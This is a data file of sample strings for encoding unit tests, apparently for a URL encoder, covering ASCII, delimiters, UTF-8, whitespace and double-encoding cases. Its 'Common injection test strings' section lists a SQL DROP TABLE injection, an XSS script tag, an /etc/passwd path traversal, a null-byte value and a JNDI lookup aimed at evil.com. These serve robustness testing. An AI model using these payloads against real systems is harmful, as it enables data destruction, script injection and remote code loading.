# Test samples for encoding unit tests
# Each line contains a sample string to test various encoding scenarios
# All characters
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
()[]{}<>
+-*/=%^
.,!?:;'"
@#$&_~`|\

# Basic ASCII strings
hello world
test string
simple-test

# URL special characters (reserved characters)
path/to/resource
query?param=value
anchor#section
email@example.com
array[0]
protocol://host

# Common delimiters
key=value&another=test
first;second;third
item,item,item
name:value
path/to/file.txt

# Spaces and punctuation
Hello World!
What's happening?
100% complete
$50 price tag
Amount: $100
It's a test (with parentheses)
Star * asterisk
Plus + sign

# Special characters that need encoding
100%
<html>
data&more&data
file path with spaces
parameter=value&other=data

# Non-ASCII characters (UTF-8)
café
naïve
señor
日本語
🚀
résumé
Zürich

# Edge cases
/
//
///
?
&
=
%
%%

# Whitespaces
# space
 
# tab
    

# Common injection test strings
'; DROP TABLE users--
<script>alert('xss')</script>
../../../etc/passwd
%00null
${jndi:ldap://evil.com}

# Long strings
this-is-a-very-long-string-that-might-be-used-to-test-buffer-handling-and-performance-characteristics-of-the-encoder
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

# Mixed content
user@domain.com?redirect=https://example.com/path?query=value&other=data
https://example.com/search?q=hello world&lang=en&sort=date
/api/v1/users?filter[name]=John Doe&include=posts,comments

# Already encoded strings (for decode testing)
hello%20world
100%25
caf%C3%A9

# Strings with newlines and tabs (literal representation)
line1\nline2
col1\tcol2

# Boundary characters
~tilde
`backtick
^caret
{curly}
|pipe|

# Quotes and apostrophes
"double quotes"
'single quotes'
it's
"mixed 'quotes' test"

# Mathematical and currency symbols
2+2=4
x^2
$100
€50
£30
¥1000

# Common URL patterns
/users/123/posts/456
/search?q=test+query
/path/to/resource.html?param1=value1&param2=value2
http://example.com:8080/path
ftp://files.example.com/document.pdf

# Repeated special characters
!!!
???
...
---
___
===

# Brackets and braces
(parentheses)
[square brackets]
{curly braces}
<angle brackets>

# Control character representations
\r\n
\t\t\t
\0

# Double-encoding scenarios (for doubleurl testing)
%2520
%253A
%252F
